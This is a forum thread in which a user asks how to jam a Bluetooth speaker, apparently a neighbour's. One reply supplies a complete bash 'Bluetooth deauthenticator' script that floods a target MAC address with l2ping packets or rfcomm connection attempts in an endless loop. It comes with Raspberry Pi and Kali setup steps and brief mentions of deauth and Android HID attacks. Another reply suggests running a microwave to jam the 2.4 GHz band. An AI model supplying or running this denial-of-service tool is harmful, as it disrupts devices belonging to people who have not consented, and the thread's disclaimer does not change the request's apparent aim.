Trying to find/build a bluetooth jammer

[imad7x]

I want to disable a bluetooth speaker from 10ft away. I've seen people building such devices using a raspberry pi, and I've come across some devices on aliexpress, though I'm not sure if they work as intended.

From what I understand, bt operates by frequency hopping rather than staying on a single frequency. So how can you identify and disable a specific bt device or all devices within range?

 

[ronnie_gogs]

Disclaimer : Please do not attack devices you don't own or don't have legal right to attack. Educational purpose discussion only here.

The question sent me on a bit of a rabbit hole trying to find the solution and learnt a lot along the way. I never bothered with bluetooth part of wireless penetration testing but I am glad I did it.
Bluetooth its seems is still very unsecure and prone to many types of attacks including denial of service attack which interrupts the speaker.
Easiest was a Raspberry Pi (had a spare Pi4 which I used). Booted to a Kali instance and could scan and ping it.
A script can launch a DOS attack on a bluetooth speaker. Bluetooth uses Frequency hopping spread spectrum (FHSS) to rapidly switch frequencies to prevent conflict in busy 2.4Ghz band. Which makes it a challenge to sniff and attack but it is possible.
Another attack would be Deauth attack which would kick all paired devices out. So if you run a Deauth then a DOS attack the speaker can become unavailable.

Lots of papers on these types of attacks.
I managed to scan and ping attack my own speaker from a raspberry pi. A cheap Chinese speaker to test it out.

Another concept I learnt about was BLE (Bluetooth Low Energy). So many devices are using this and transmitting all the time. You can scan and sniff packets in BLE to id equipment and check details of the same. Example apple air tags, phones, speakers, IOT devices.

Another type of bluetooth attack would be to attack older Android phones which are unpatched to act as HID and launch a HID attack. It was patched but older Android devices are still vulnerable.

So to answer the question, yes its possible to attack Bluetooth speakers with a raspberry pi.

 

[khamosh]

Neighbour issues

 

[ronnie_gogs]

Example of a simple attack using a bash script, raspberry pi and USB bluetooth adapter (Internal bluetooth sometimes doesnt work)

Kali or any debian based OS running on a raspberry pi. Built in bluetooth may not work so you might have to try with different bluetooth adapters. Like mine here has 2 adapters now. One is built it and one Asus usb adapter. Also make sure bluez package is already installed.
You can see what is UP RUNNING here. hci1 is internal hci0 is external USB adapter.

next would be to try finding whats the mac address of the speaker.

Different methods for finding mac address can be used. As devices may not show mac address once paired. You have to do your own research to find. These things change and ways change all the time.


Once you have mac address write a bash script like this. Source

Spoiler: Code

#!/bin/bash

version="v0.1.2-alpha";
target_addr="$1";
packet_size="$2";
attack_type="$3";

echo "Bluetooth deauthenticator $version";

if [[ $# != 3 ]];
then
echo -e "Attack types:\n"\
"\t1.) l2ping - Ping flood\n"\
"\t2.) rfcomm - Connect flood\n\n"\
" Usage: $0 <target_addr> <packet_size> <attack_type>\n";
exit 0;
fi

if [[ "$attack_type" == 1 ]];
then
cmd="l2ping -i hci0 -s $packet_size -f $target_addr";
elif [[ "$attack_type" == 2 ]];
then
cmd="rfcomm connect $target_addr 1 2>&1 >/dev/null";
fi

while true;
do
echo "[+] Packet sent to $target_addr -- Packet size: $packet_size -- Attack type: $attack_type";
$cmd &
sleep .200;
done

Edit code to select which bluetooth adapter like hci1 or hci0.

Running it

Provide the parameters and run with sudo priviledge. Below I am running a packet size of 600 and attack type is l2ping on my Saregama speaker

Ping flood attack should start.
Script will attack until you end it. (Ctrl + C)

 

[greenhorn]

Old fashioned brute force approach is to use a microwave. It will kill everything in 2.4 ghz including wifi. Get 5g wifi for yourself!